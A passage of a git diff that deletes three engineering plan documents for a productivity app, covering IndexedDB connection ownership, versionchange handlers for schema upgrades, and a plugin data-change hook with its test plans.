| null)`. -The method body keeps its existing null-check / "cannot prune" warning; it just -reads the parameter instead of `await this.clientIdProvider.loadClientId()`. - -Callers (~5, all already inject `CLIENT_ID_PROVIDER`): -- `operation-log-hydrator.service.ts` — 4 call sites (`:213`, `:239`, `:291`, - `:315`). Field `clientIdProvider` already present (`:57`). Load once per - hydration pass and pass it in. -- `conflict-resolution.service.ts` — 1 call site (`:432`). Field already present - (`:100`); it already loads the clientId at `:614`/`:654`. - -This is arguably *better design* — `mergeRemoteOpClocks` is a pure-ish clock -operation; taking its inputs explicitly beats reaching into DI. - -### Step 2 — Move the `clearCache()` call to `runDestructiveStateReplacement`'s callers - -Delete `this.clientIdProvider.clearCache()` from -`runDestructiveStateReplacement()` (`:1687`). Its 2 callers — -`backup.service.ts:228` and `clean-slate.service.ts:132` — would call -`clientIdService.clearCache()` themselves immediately after the `await` returns. - -> ⚠️ **Factual error (caught by the evaluation).** This step originally claimed -> "both services already import `ClientIdService`." That is **false** — -> `backup.service.ts` and `clean-slate.service.ts` import only the pure -> `generateClientId` util, not `ClientIdService`, and both carry comments -> stating the cache-clear happens *inside* `runDestructiveStateReplacement`'s -> transaction. So Step 2 must **add** a new `ClientIdService` injection to two -> more services and **move** a correctness guarantee (cache-clear bound to a -> committed `tx.done`) out into callers that cannot see `tx.done`. This widens -> the blast radius and decentralises an invariant — a core reason Plan B lost. - -### Step 3 — Delete the `CLIENT_ID_PROVIDER` field + import from `OperationLogStoreService` - -`OperationLogStoreService` now injects nothing → a verifiable leaf. - -### Step 4 — Expose the connection on `OperationLogStoreService` - -Add a narrow public surface. Two options (decision point — see Open questions): -- **4a** — `getDb(): Promise>` (or `init()` + `db` getter): - consumers get the raw handle. -- **4b** — narrow typed methods (`readClientId()`, `putClientId()`, …): consumers - never see the handle. - -4b is better encapsulation; 4a is less code. Recommend 4b for `ClientIdService`'s -needs (small, fixed surface) — it keeps the IndexedDB handle private. - -### Step 5 — Repoint `ClientIdService` at `OperationLogStoreService` - -`ClientIdService` injects `OperationLogStoreService`; delete `_getSupOpsDb`, -`_openSupOpsDb`, `_supOpsDb`, `_supOpsDbPromise` (~50 lines). Route its -`SUP_OPS.client_id` reads/writes through the Step-4 surface. The legacy `pf` -reader (`_readPf`) is untouched. - -### Step 6 — versionchange handler - -`OperationLogStoreService.init()` registers a `versionchange` handler (mirroring -the one `ClientIdService` has today). Since it is now the connection owner, this -is the single handler the app needs for the op-log/clientId connection. - -> Ship Step 6 **first**, as its own tiny PR, exactly as in Plan A's Phase 1 — -> the latent v6→v7 upgrade-hang fix should not wait behind this refactor. -> `ArchiveStoreService` also gets one in that first PR. - -### Step 7 — (optional) Fold in `ArchiveStoreService` - -`ArchiveStoreService` does not inject `CLIENT_ID_PROVIDER`, so -`ArchiveStoreService → OperationLogStoreService` is cycle-free today. To reach -*one connection process-wide*, `ArchiveStoreService` injects -`OperationLogStoreService` and drops its own opener; `_withRetryOnClose` (iOS -#6643) stays, repointed at an invalidate hook. Without Step 7 the end state is -two connections (op-log+clientId shared, archive separate). - -### Step 8 — (optional) Relocate `ClientIdService` - -`ClientIdService` still imports `OperationLogStoreService` from `op-log/`, so the -`core → op-log` inversion persists (unchanged from today, not worsened). To kill -it, relocate `ClientIdService` to `op-log/util/` and add the ESLint -`no-restricted-imports` guard — identical to Plan A's Phase 3, and equally -optional / separable. - -## Files touched - -`operation-log-store.service.ts`, `operation-log-hydrator.service.ts`, -`conflict-resolution.service.ts`, `backup.service.ts`, `clean-slate.service.ts`, -`client-id.service.ts`, plus their specs and the op-log integration helpers -that reference `mergeRemoteOpClocks`. Optional Step 7: `archive-store.service.ts`. -Optional Step 8: ~16 import sites + `eslint.config.js` + docs. **No new file.** - -## Estimated size - -| Scope | Diff churn | -| --- | --- | -| Steps 1–6 (core: cut the edge, share the connection) | ~300–450 | -| + Step 7 (archive folded in) | +~80 | -| + Step 8 (relocation + ESLint) | +~80 | -| **Plan B full** | **~450–600** | -| (Plan A full, for comparison) | ~750–1,100 | - -Plan B is smaller mainly because it adds no service and no new spec file, and -because the connection machinery is *reused in place* rather than relocated. - -## Acceptance criteria - -- `OperationLogStoreService` injects nothing — a verifiable leaf (greppable: no - `inject(` in the class). -- `ClientIdService` no longer opens `SUP_OPS`; it routes through - `OperationLogStoreService`. -- `mergeRemoteOpClocks` and `runDestructiveStateReplacement` no longer reference - `CLIENT_ID_PROVIDER`; the `clearCache` responsibility is at both destructive - callers and covered by tests. -- The op-log/clientId connection registers `close` + `versionchange` handlers. -- `client-id.service.spec.ts` data-safety matrix passes after the test-double - rewrite (private seams moved to `OperationLogStoreService`). -- `runDestructiveStateReplacement` atomicity unchanged; concurrency regression - test added. -- With Step 7: one `SUP_OPS` connection process-wide. -- Full unit suite (both timezone variants) + op-log integration specs green. - -## Risks & mitigations - -| Risk | Mitigation | -| --- | --- | -| A future cycle if `OperationLogStoreService` gains an injected dep that reaches `ClientIdService` | "Injects nothing" is an enforced acceptance criterion; a store service *should* be a leaf | -| `clearCache` now at 2 caller sites — one could be forgotten on a future destructive flow | Only 2 call sites today; cover both with tests; consider an ESLint/review note. (Plan A keeps it centralized — a genuine point for A.) | -| `ClientIdService` / `ArchiveStoreService` depend on the whole 1,745-line `OperationLogStoreService` for a DB handle | Step 4b: expose only narrow typed methods, not the raw handle — the DI dependency is on the class but the *used* surface is tiny | -| `mergeRemoteOpClocks` signature change ripples to specs + integration helpers | ~5 call sites + helpers; mechanical, enumerated | -| `OperationLogStoreService` becomes the connection "landlord" (dual responsibility) | This is the central A-vs-B trade-off — see below | - -## The central trade-off vs Plan A - -- **Plan A** adds a dedicated `SupOpsConnectionService` (single-responsibility: - it *only* owns the connection). Cleaner separation; one more service/file; - larger diff; keeps `CLIENT_ID_PROVIDER` on `OperationLogStoreService`. -- **Plan B** removes a dependency edge so `OperationLogStoreService` itself can - be the connection owner. Fewer moving parts; no new file; smaller diff; makes - `OperationLogStoreService` a proper leaf and `mergeRemoteOpClocks` explicit — - but `OperationLogStoreService` carries connection-ownership *and* op storage, - and other services depend on it for a DB handle. - -KISS leans B; single-responsibility purity leans A. Both are correct; both are -optional cleanup on top of the one must-do fix (the `versionchange` handlers). - -## Out of scope - -Same as Plan A: the legacy `pf` reader is untouched; no new schema version. diff --git a/docs/plans/2026-05-22-supops-single-connection.md b/docs/plans/2026-05-22-supops-single-connection.md deleted file mode 100644 index c016928778..0000000000 --- a/docs/plans/2026-05-22-supops-single-connection.md +++ /dev/null @@ -1,261 +0,0 @@ -# `SUP_OPS` `versionchange` handlers — #7735 (scoped down) - - - -**Issue:** #7735 — filed as a follow-up to #7732 / #7712 / #7709. -**Status:** Active plan. Rescoped from #7735's original connection-consolidation -proposal (dropped — see the final section) and revised across multi-agent review -rounds, which corrected several factual errors in earlier drafts. -**Prerequisite:** none. The fix is **independent of #7732** and can land on -`master` directly, before or after #7732 (see "Baseline independence"). - -## Goal - -Register an IndexedDB `versionchange` handler on the two `SUP_OPS` connections -that lack one — `OperationLogStoreService` and `ArchiveStoreService` — so the -next schema bump is not stalled by a handler-less connection. This is the one -genuine correctness fix in #7735. - -It removes **one known latent hang**. It is necessary but not by itself -sufficient for a fully hang-proof upgrade — see "Limits". - -## The latent bug - -When a connection or tab opens `SUP_OPS` at a higher `DB_VERSION` (a schema -bump), IndexedDB dispatches a `versionchange` event on every other open -connection. The upgrade proceeds only once those connections close; any that -**stay open block the upgrade** — the upgrading `openDB` sits on `blocked`. A -connection with no `versionchange` handler never closes itself, so it stalls the -upgrade until the user manually closes that tab. - -`SUP_OPS` connections and their `versionchange` handler status: - -| Connection owner | `versionchange` handler today | -| --- | --- | -| `OperationLogStoreService` (`init()`) | ❌ **no** — fix here | -| `ArchiveStoreService` (`_init()`) | ❌ **no** — fix here | -| `ClientIdService` (`_openSupOpsDb()`) | ✅ yes — exists only post-#7732 | - -This fix must land before any `DB_VERSION` increase. - -### Baseline independence - -`OperationLogStoreService` and `ArchiveStoreService` open `SUP_OPS` and register -a `close` (but no `versionchange`) handler **identically before and after -#7732** — the fix is the same two-line addition either way. Pre-#7732 there are -two `SUP_OPS` connections (both handler-less); #7732 adds a third -(`ClientIdService`, which ships with its own `versionchange` handler). So this -fix is not gated on #7732 and may land first. The post-#7732 `ClientIdService` -handler is a *consistency reference*, not a dependency. - -## The fix - -A standard close-and-null `versionchange` listener, added next to each service's -existing `close` listener. (Post-#7732, `ClientIdService._openSupOpsDb()` has an -identical one — keep all three consistent.) - -### `OperationLogStoreService.init()` - -```ts -async init(): Promise { - const db = await this._openDbWithRetry(); - db.addEventListener('close', () => { - Log.warn( - '[OpLogStore] IndexedDB connection closed by browser. Will re-open on next access.', - ); - this._db = undefined; - this._initPromise = undefined; - }); - // A newer tab is upgrading SUP_OPS (a future schema bump). Close now so this - // connection does not block the upgrade; the next op-log access reopens - // transparently via _ensureInit(). - db.addEventListener('versionchange', () => { - db.close(); - this._db = undefined; - this._initPromise = undefined; - }); - this._db = db; -} -``` - -### `ArchiveStoreService._init()` - -The identical addition next to its existing `close` listener (fields `_db` / -`_initPromise`; log tag `[ArchiveStore]`). - -### Behaviour notes - -- **No behaviour change in normal operation.** The handler only acts on a - `versionchange` — i.e. a schema bump — which today has no defined behaviour at - all (the upgrade just hangs). The fix turns that hang into a graceful - close-and-reopen; nothing else changes. -- **`db.close()` is graceful — it does NOT abort in-flight transactions.** Per - the IndexedDB spec, a scripted `close()` (the `forced` flag is false) sets a - *close-pending* flag, lets every transaction already running on the connection - **run to completion**, and only then closes — it raises no `AbortError`. So a - `versionchange` landing mid-transaction (e.g. during - `runDestructiveStateReplacement`) lets that transaction commit normally; the - upgrading tab simply waits for it. New work after the handler runs goes - through `_ensureInit()` and opens a fresh connection (the handler nulled - `_db`). The `forced`-flag abort path (`AbortError`) applies to browser-forced - closes / `deleteDatabase`, not to this handler. -- A scripted `db.close()` also does **not** fire the `close` event, so the - `versionchange` handler must null `_db` / `_initPromise` itself — exactly as - `ClientIdService`'s handler does. -- The handler closes over `db` and nulls `this._db` unconditionally. A stale - `versionchange` cannot clobber a *newer* connection: a closed IndexedDB - connection receives no further events, and there is **no `await`** between - `addEventListener('versionchange', …)` and `this._db = db` (they run in one - synchronous tick, so the event cannot fire between them). Keep them adjacent — - a future refactor inserting an `await` there would open a stale-handle window. -- `idb`'s `openDB({ blocking })` callback is the alternative API; rejected for - consistency — the existing `close` handlers and `ClientIdService`'s - `versionchange` handler all use `addEventListener`. - -## Tests - -Specs run against **real Chrome IndexedDB** (Karma `ChromeHeadless`); there is no -`fake-indexeddb`. That rules out an "open a 2nd connection at `DB_VERSION + 1`" -test — a real upgrade persistently bumps the shared `SUP_OPS` database for the -rest of the Karma run (`_clearAllDataForTesting()` clears object stores, **not** -the DB version), poisoning every later test with `VersionError`. - -**Primary test (deterministic, per service)** — dispatch a synthetic -`versionchange` event; no DB version is mutated, so nothing is poisoned: - -1. Force initialization through the **lazy `_ensureInit()` path** so - `_initPromise` is genuinely populated: reset `(service as any)._db` and - `_initPromise` to `undefined`, then call a cheap read-only method (op-log: - e.g. `getLastSeq()`; archive: e.g. `loadArchiveYoung()`) and `await` it to - completion. (The specs' `beforeEach` uses a *direct* `init()`, which leaves - `_initPromise` unset — asserting it without the lazy path makes the - `_initPromise` check vacuous.) Awaiting the read keeps the test - deterministic. -2. `import { unwrap } from 'idb'`; capture the raw handle: - `const raw = unwrap((service as any)._db)`. -3. `raw.dispatchEvent(new Event('versionchange'))` — synchronous; the handler - reads no event fields, so a plain `Event` suffices. -4. Assert `(service as any)._db` and `_initPromise` are both `undefined`, **and** - that the connection was actually closed — e.g. `raw.transaction()` - throws `InvalidStateError`. (Asserting the close, not just the field nulling, - guards the load-bearing `db.close()` call — the thing that actually unblocks - the upgrade.) -5. Call the read again; assert it succeeds — the connection reopened - transparently (this also proves `_initPromise` was nulled: a stale resolved - `_initPromise` would make `_ensureInit()` skip the reopen and the `db` getter - throw). - -This proves *our* code: the handler closes the connection and the service -reopens. That Chrome fires `versionchange` on a real cross-connection upgrade is -browser behaviour, not ours — a true end-to-end "the upgrade completes across -tabs" check is e2e territory and out of scope here. - -Also add a minimal **`close`-handler test** in the same describe block (dispatch -`close`, assert `_db`/`_initPromise` cleared) — neither service has one today, -and the fix adds a sibling listener right next to it; cheap regression cover. - -Spec files: -- `OperationLogStoreService` has `operation-log-store.service.spec.ts` — add the - tests in a new `describe`. Use the **real** `init()` path, not the fully-faked - `_openDbOnce` db used by the `_openDbWithRetry` describe block. -- `ArchiveStoreService` has **no spec file** — `archive-store.service.spec.ts` - must be **created**. `ArchiveStoreService` injects nothing, so `TestBed` setup - is trivial (no providers/mocks). The new file must mirror the op-log spec's - teardown — `_clearAllDataForTesting()` in `afterEach` — so it does not leave - archive rows or an open connection for later specs. - -## Limits — what this fix does NOT do - -- It does not help against an **old tab still running pre-fix code** — that - connection has no `versionchange` handler and still blocks the upgrade. A - fully hang-proof v-bump rollout also needs a `blocked`-path UX story; that - belongs with the schema-bump PR, not here. -- An `openDB({ blocked })` diagnostic callback (logs when *this* service's own - open is stalled by other tabs) is **deferred** — it is diagnostics, not the - fix; keep this PR minimal. - -## Acceptance criteria - -- `OperationLogStoreService` and `ArchiveStoreService` each register a - `versionchange` handler that calls `db.close()` and clears `_db` / - `_initPromise`. -- A unit test per service — including a newly created - `archive-store.service.spec.ts` — proves the dispatch-`versionchange` → close - (connection unusable) → transparent-reopen contract, plus a `close`-handler - regression test. -- Tests mutate no `SUP_OPS` DB version; the full unit suite (both timezone - variants) stays green. -- `npm run checkFile` clean on every modified or created `.ts` file. - -## Estimated size - -~10–12 production lines across 2 files; ~35–45 test lines added to -`operation-log-store.service.spec.ts` plus a new `archive-store.service.spec.ts` -(~60–80 lines incl. `TestBed` boilerplate — it also gives `ArchiveStoreService` -its first test coverage). One small, low-risk PR. - -## Commit - -`fix(sync): add versionchange handlers to SUP_OPS connections` - -## Issue disposition - -This PR closes #7735, whose original text proposed the larger consolidation. So -that decision is not buried: both plan docs -(`2026-05-22-supops-single-connection.md` and the rejected-alternative -`-alt.md`) land **in this PR**, and the PR description plus the `Closes #7735` -comment must state explicitly that the connection consolidation was evaluated -and deliberately dropped, linking this doc. No separate tracking issue is filed — -the consolidation is "not planned", not "deferred". - ---- - -## Connection consolidation: not planned - -#7735 originally proposed collapsing the three `SUP_OPS` connections onto one -shared connection, breaking a DI cycle, and relocating `ClientIdService` out of -`core/`. After two multi-agent review rounds, **that scope is dropped.** -Rationale: - -- **No behavioral benefit.** #7735 admits this itself. The DI cycle is - *prospective*, not live — post-#7732 `ClientIdService` injects nothing, so - there is no cycle today. Three same-origin connections serialize their - transactions correctly; that is the documented, working state, not a bug. -- **A bad LOC trade.** The consolidation is not a delete-and-simplify refactor — - it *adds* a service file and a few hundred lines of net-new code (mostly new - test surface) and edits ~16 files, for zero behavioral change, on the app's - most safety-critical path (op-log + clientId + destructive replacement). -- The only genuine win underneath — de-duplicating `_openDbWithRetry` across two - services — is ~50 lines and does not justify the rest. - -If a future `SUP_OPS` schema migration ever makes a single connection genuinely -worthwhile, do it **bundled with that migration** (the marginal cost of the -connection extraction is small when you are already in that code with fresh -tests) and use the reference design below. Do not pursue it standalone. - -### Reference design — extract `SupOpsConnectionService` (not planned; for a future migration only) - -Preferred approach if the consolidation is ever revived (it beat the alternative -5–0 in a multi-agent evaluation): - -- Extract a **dependency-free leaf** `SupOpsConnectionService` (in - `op-log/persistence/`) owning the `SUP_OPS` connection lifecycle: `openDB` + - `runDbUpgrade` + retry/backoff (`_openDbWithRetry`) + `close`/`versionchange` - handlers + in-flight-promise dedup. It must `inject()` nothing — that is what - makes it cycle-safe. Precedent in this codebase: `LockService`. -- `OperationLogStoreService`, `ArchiveStoreService`, `ClientIdService` delegate - to it. Keep each service's existing `_ensureInit()` / `db`-getter shape as - thin delegates so the ~50 + ~56 internal call sites are untouched. -- Keep `CLIENT_ID_PROVIDER` exactly as-is (it has 11 consumers and is unrelated - to the connection question). -- Optionally relocate `ClientIdService` to `op-log/util/` + add an ESLint - `no-restricted-imports` rule banning `core → op-log` (this part is unrelated - to a schema migration and would be separately optional even then). - -The **rejected** alternative — making `OperationLogStoreService` itself the -connection owner by cutting its `CLIENT_ID_PROVIDER` edge — is documented, with -the multi-agent evaluation's reasoning, in -[`2026-05-22-supops-single-connection-alt.md`](./2026-05-22-supops-single-connection-alt.md). -The full original phased breakdown of this consolidation is preserved in this -file's git history (pre-rescope revision). diff --git a/docs/plans/2026-05-23-persisted-data-update-hook.md b/docs/plans/2026-05-23-persisted-data-update-hook.md deleted file mode 100644 index d8bb1951f7..0000000000 --- a/docs/plans/2026-05-23-persisted-data-update-hook.md +++ /dev/null @@ -1,493 +0,0 @@ -# Wire `PluginHooks.PERSISTED_DATA_CHANGED` - -**Status:** proposal (post multi-review v6) -**Date:** 2026-05-23 (v5–v6: 2026-05-27) -**Trigger:** Multi-review of `199e816479` flagged that document-mode's -editor goes stale on remote `PLUGIN_USER_DATA` updates because nothing -notifies the plugin. The hook `PluginHooks.PERSISTED_DATA_UPDATE` is -declared in `packages/plugin-api/src/types.ts:24` but never dispatched -on the host side (grep of `src/app/` confirms zero hits). -**Related:** [Stage A plan](./2026-05-23-stage-a-keyed-plugin-persistence.md) -risks table — same staleness gap, Stage A does not fix it on its own. - -## TL;DR - -Fire the dead hook. This PR ships the **host capability only** — the -selector subscription, the per-plugin dispatch, the enum rename, the -API contract. Document-mode's adoption (banner UX, dirty tracking, -selection preservation) is tracked separately and ships after this -groundwork has baked: see "Follow-up: document-mode adoption" below. - -Host mechanism: a selector subscription in `PluginHooksEffects` on -`selectPluginUserDataFeatureState`. Skipped during the sync window -(SYNC_IMPORT / BACKUP_IMPORT replace state wholesale — semantically a -reload, not a change). No cache, no payload, no separate delete hook. -Plugins receive a `void` signal and re-call `loadSyncedData()` to get -fresh data. Rename the enum entry to `PERSISTED_DATA_CHANGED` for -consistency with sibling hooks (`*_CHANGE`); the rename is free since -nothing fires the hook today. - -**Prerequisite folded in:** widen `PluginHooksService._handlers` from -`Map>` to allow multiple handlers per -`(hook, pluginId)`. Today `.set()` silently overwrites — so a plugin -that registers from both its background script and its iframe (the -document-mode case) loses one of the two registrations to whichever -runs second. Discovered during the follow-up review (#7752); fixing -it here keeps the host PR self-contained and unblocks doc-mode's -adoption without a separate prereq merge. - -Estimated 3–4 hours including specs. - -## Goal - -Plugins get a notification when their persisted data changes for any -reason **other than wholesale state replacement** (SYNC_IMPORT, -BACKUP_IMPORT, app boot). Local user write, remote sync-apply, and -cross-tab writes all fire. - -## Non-goals - -- Auto-refreshing plugin UIs. Host fires the hook; plugin decides. -- Distinguishing "local" from "remote" in the payload. Plugin handlers - are required to be idempotent; if a plugin writes and then receives - its own change-event, re-reading and re-rendering is harmless. - (Reviewer 3's `source` flag was considered and rejected as YAGNI — - re-add only if a real plugin needs to discriminate.) -- A separate `PERSISTED_DATA_DELETED` hook. No plugin-callable delete - API exists today; the only fire path would be on uninstall when the - plugin is being torn down and can't usefully react. YAGNI. -- Replay-on-register. Plugin contract is "call `loadSyncedData()` on - init for fresh state, then `registerHook(...)` for subsequent - changes." Explicit, no surprise. -- Throttling. The persistence service already coalesces local writes - to ≥ 1 op/sec per plugin; sync apply is event-driven, not flooded. - -## Design - -### The selector effect - -In `src/app/plugins/plugin-hooks.effects.ts`, parallel to the existing -hook effects but **selector-based, not action-based**. Action-based -effects inject `LOCAL_ACTIONS` (sync rule 1, `:55`) and would miss -remote upserts which arrive through `bulkApplyOperations` (see -`src/app/op-log/apply/bulk-hydration.meta-reducer.ts`) — the action -type is the bulk wrapper, not `upsertPluginUserData`, so an -`ofType(upsertPluginUserData)` filter never fires for remote ops. The -state still changes, so a state-selector subscription does observe it. - -> Note: this is a _new pattern_ in the codebase. The existing -> `PROJECT_LIST_UPDATE` effect at `plugin-hooks.effects.ts:341` is -> action-based, not selector-based, and is consequently blind to -> remote project changes (likely a latent bug, not this PR's problem). -> Earlier draft incorrectly cited it as precedent. - -Skeleton: - -```ts -firePersistedDataChanged$ = createEffect( - () => - this.store.pipe( - select(selectPluginUserDataFeatureState), - startWith([] as PluginUserData[]), // determinism for pairwise - pairwise(), - skipDuringSyncWindow(), // see "Sync window" below - map(([prev, next]) => diffChangedPluginIds(prev, next)), - filter((ids) => ids.length > 0), - switchMap((ids) => - from(ids).pipe( - tap((pluginId) => - this.pluginService.dispatchHookToPlugin( - pluginId, - PluginHooks.PERSISTED_DATA_CHANGED, - ), - ), - ), - ), - ), - { dispatch: false }, -); -``` - -### `diffChangedPluginIds` - -Pure function. Compares `prev` and `next` arrays by both id-membership -and `data` field. Returns the set of pluginIds where: - -- `id` is present in `next` but not `prev` (added), OR -- `id` is present in both but `data` differs (updated), OR -- `id` is present in `prev` but not `next` (deleted) - -Encoding is deterministic (gzip + base64; verified — same input → -identical bytes), so a no-op local write that round-trips through the -service produces identical `data` strings and is correctly skipped by -the differ. **No separate dedupe cache is needed.** The differ alone -suppresses self-echoes from no-op writes; for writes that _do_ change -data, the plugin's own handler firing is harmless and idempotent per -contract. - -### Sync window - -`skipDuringSyncWindow()` (sync rule 2) is the right operator here, but -the reasoning is non-obvious: - -- The operator suppresses emissions during SYNC_IMPORT / BACKUP_IMPORT - application windows. These replace state wholesale; firing a hook - per plugin would (a) flood plugin handlers with what semantically is - a reload, not a change, and (b) cause reentrancy where a handler's - response-write commits against stale in-memory plugin state. -- It does **not** suppress regular incremental sync apply (per-op - remote upserts via `bulkApplyOperations`). Those land outside the - sync window and correctly fire the hook. - -After SYNC_IMPORT the plugin re-initialises via the normal load path, -which itself calls `loadSyncedData()` — semantically equivalent to -"every plugin gets a fresh-state event." No separate signal needed -yet; revisit if a plugin asks for `SYNC_IMPORTED` explicitly. - -`require-hydration-guard` lint rule will accept `skipDuringSyncWindow()` -without further action. - -### Multiple handlers per `(hook, pluginId)` - -`PluginHooksService._handlers` at `plugin-hooks.ts:14` is -`Map>>` and -`registerHookHandler` calls `.set(pluginId, handler)` at line 27 — -a second registration for the same `(hook, pluginId)` silently -overwrites the first. - -This bites any plugin that registers from two JS contexts under the -same id. document-mode is the concrete case: `background.ts` runs in -the host page (registers directly via the host-side bridge) while -`ui/editor.ts` runs in the iframe (registers via the -`plugin-iframe.util.ts:622` proxy). Both use pluginId `document-mode`. -Whichever runs second wipes the other. - -Widen to allow multiple handlers per slot: - -```ts -// plugin-hooks.ts -private _handlers = new Map>>>(); - -registerHookHandler(pluginId, hook, handler) { - if (!this._handlers.has(hook)) this._handlers.set(hook, new Map()); - const perPlugin = this._handlers.get(hook)!; - if (!perPlugin.has(pluginId)) perPlugin.set(pluginId, new Set()); - perPlugin.get(pluginId)!.add(handler); -} - -unregisterPluginHooks(pluginId): void { - for (const perPlugin of this._handlers.values()) perPlugin.delete(pluginId); -} -``` - -Update `dispatchHook` and `dispatchHookToPlugin` (below) to iterate the -`Set` rather than calling a single handler. Per-handler timeout + -catch stays unchanged. - -No new public unregister API. `unregisterPluginHooks(pluginId)` already -clears the whole set for that plugin and is the existing teardown path -called by `PluginService.deactivatePlugin`. A surgical -`unregisterHookHandler(pluginId, hook, handler)` was considered for -iframe-teardown handler cleanup but cut as unused public surface — the -host accepts a stale postMessage proxy as a 5 s timeout slot today, -and if that cost ever becomes real, add the method then. - -### Per-plugin dispatch - -`PluginHooksService.dispatchHook` (`plugin-hooks.ts:34-57`) currently -fans out to **all** registered handlers for a hook. For per-plugin -data, we want only the affected plugin's handler(s). Add: - -```ts -// plugin-hooks.ts -async dispatchHookToPlugin( - pluginId: string, - hook: T, - payload?: HookPayloadMap[T], -): Promise { - const handlers = this._handlers.get(hook)?.get(pluginId); - if (!handlers || handlers.size === 0) return; - for (const handler of handlers) { - // Same 5 s timeout + catch pattern as dispatchHook. - } -} -``` - -JSDoc both methods so the asymmetry is clear: `dispatchHook` is fan-out -(task / project / language events affect all plugins); `dispatchHookToPlugin` -is scoped (data events are per-owner — but still fan out across all -handlers that plugin registered). - -Expose on `PluginService` as `dispatchHookToPlugin(pluginId, hook, payload?)`, -mirroring the existing `dispatchHook` passthrough at -`plugin.service.ts:1042-1048`. - -### Payload - -`void`. The plugin's handler is already scoped to its plugin id (it -registered with that id; `dispatchHookToPlugin` routes by id; the -handler runs in the plugin's own context where the id is implicit). -Update `PersistedDataUpdatePayload` accordingly — see "API surface -changes." - -### API surface changes - -In `packages/plugin-api/src/types.ts`: - -- Rename enum entry: `PERSISTED_DATA_UPDATE` → `PERSISTED_DATA_CHANGED`. - Value string changes from `'persistedDataUpdate'` to - `'persistedDataChanged'`. Pre-emptive grep confirmed no plugin imports - the type or references the value (only the enum entry exists, and the - bundled `sync-md/plugin.js` references the enum name only). Safe to - rename. -- Remove `PersistedDataUpdatePayload` (or alias it to `void` if there - are external `@super-productivity/plugin-api` consumers; check - `packages/plugin-api/README.md` for any documented public contract). - Update `HookPayloadMap[PluginHooks.PERSISTED_DATA_CHANGED]` to `void`. -- Add to `packages/plugin-api/README.md` one paragraph: - - > **`PERSISTED_DATA_CHANGED`** fires when this plugin's persisted - > data has changed for any reason other than full app state replacement - > (SYNC_IMPORT, BACKUP_IMPORT, app boot — which the plugin handles - > via the normal init load). Handler receives no payload; re-call - > `loadSyncedData()` to get fresh data. Contract: call - > `loadSyncedData()` on plugin init for the initial state; then use - > this hook for subsequent changes. There is no replay-on-register - > and no guaranteed ordering across rapid changes. Handlers must be - > idempotent. - -## Follow-up: document-mode adoption (separate PR / issue) - -Tracked at [super-productivity#7752](https://github.com/super-productivity/super-productivity/issues/7752). -Blocked on this PR landing. - -Scope (post v6 multi-review — "Option A: banner-only, minimum"): - -- **`background.ts`** — register `PERSISTED_DATA_CHANGED`; reconcile - `enabledIds`; call `showInWorkContext` / `closeWorkContextView` - only when the active context's membership flipped. -- **`ui/editor.ts`** — register `PERSISTED_DATA_CHANGED`; on fire, - `loadSyncedData(docKey(currentCtx.id))` to get the raw stored - string; compare to a closure-scoped `lastSeenRemoteData` (also a - raw string); if equal noop (self-echo or another context's fire); if - different, show a one-button "Remote changes — reload" banner. When - `isDocCorrupt === true`, skip the banner and call - `setActiveContext(currentCtx)` directly (the corruption banner - already says "your saved data is untouched" — taking the remote may - be the fix). -- **`lastSeenRemoteData`** is captured at two points (both as the - raw `loadSyncedData` string, not parsed JSON, not editor - `getJSON()`): - - In `setActiveContext` right after the `loadSyncedData(docKey)` - call resolves. This requires routing through `loadSyncedData` - directly rather than `loadContextDoc` (which parses internally - and discards the raw string), or refactoring `loadContextDoc` to - return `{ raw, parsed }`. ~5 LOC persistence-layer change. - - In `flushSave` right after `saveContextDoc` resolves, capturing - the exact stringified blob just persisted. Same shape change to - `saveContextDoc` to return / accept the raw string. - -Why this scope (versus what v3/v4 and even v5 reviewed): - -- **No silent swap.** Selection preservation across `setContent` is - expensive ProseMirror surgery for "idle reader sees content change - under them" — Notion / Linear / Figma offline mode use a reload - prompt instead. -- **No "Keep mine" button.** Dismissing the banner and continuing to - type already wins LWW on the next throttled save. -- **No coalesce timer.** Host's deterministic differ suppresses no-op - writes; the 30 s save throttle on the writer device bounds real fire - rate. The byte-compare absorbs duplicate fires as a noop. -- **No pre-reload backup** (cut in v6 multi-review). Reload is a - deliberate user action with a predictable result — the corruption- - banner "your saved data is untouched" ethos does not transfer. A - backup nobody finds in the UI is not insurance; it also added a new - persisted-key class that syncs cross-device with no GC story. -- **No pure-function file** (`remote-update.ts` cut in v6). The - banner-fire decision is one `!==` and the show/close membership - diff is six lines of `Set.has` — inline in the call sites and cover - via integration specs. - -Pre-existing invariants the follow-up must preserve (do not re-litigate): - -- `setActiveContext` (`editor.ts:344-410`) already calls - `loadContextDoc` on every switch — the "mount-race" concern raised - in v3 review is already handled. Don't remove the re-read. -- Dirty predicate `saveTimer !== null || saveInFlight` stays for - `flushSaveSync`. Banner shows on byte-diff regardless of dirty. - -Estimated ~1.25 hours for the doc-mode side: ~30 min handlers + -`lastSeenRemoteData` plumbing (including the `loadContextDoc` / -`saveContextDoc` raw-string change), ~30 min banner + integration -spec + E2E append. - -## Plugin contract - -- Handler is `() => void | Promise`. -- Handlers must be idempotent. Hook may fire multiple times per - user-visible change due to throttle / apply interactions. -- Hook does **not** fire during SYNC_IMPORT / BACKUP_IMPORT / app boot. -- Hook may fire on the plugin's own writes (when those writes change - the data). Re-reading is the expected response either way; the cost - is bounded. -- No replay on register: any change between init and `registerHook` is - not delivered. Plugins read fresh on init. - -## Test plan - -In `plugin-hooks.effects.spec.ts`: - -1. **Local change fires.** Plugin dispatches `upsertPluginUserData` - with new data; effect fires hook for that pluginId. -2. **No-op state emission does not fire.** Same data in equals same - data out; differ returns no ids; no fire. -3. **Remote change fires.** Simulated `bulkApplyOperations` with - PLUGIN_USER_DATA payload changes the state; effect fires hook. -4. **Multi-plugin isolation.** Plugin A's change does not fire plugin - B's handler; only the affected pluginId's handler runs. -5. **SYNC_IMPORT suppressed.** Within the sync window, state replacement - does not fire the hook. Verify via `skipDuringSyncWindow` test - harness used by other selector effects. -6. **Delete fires.** Entry removed from state → differ detects id - missing in `next` → fire hook for that pluginId. (The handler will - call `loadSyncedData()` and receive `null`; that's the delete - signal.) -7. **Read-your-writes inside handler.** Plugin's handler synchronously - calls `loadPluginUserData(pluginId)`; gets the value the host just - committed (existing `_committing` / `_pendingData` path, - `plugin-user-persistence.service.ts:206-233`). - -In `plugin-hooks.spec.ts`: - -8. **`dispatchHookToPlugin` filters correctly.** Registers two - plugins' handlers; dispatch to one fires only one handler; - non-registered pluginId is a no-op (no error). -9. **Multiple handlers per `(hook, pluginId)` all fire.** Register - two handlers under the same pluginId+hook; dispatch fires both - exactly once. `unregisterPluginHooks` 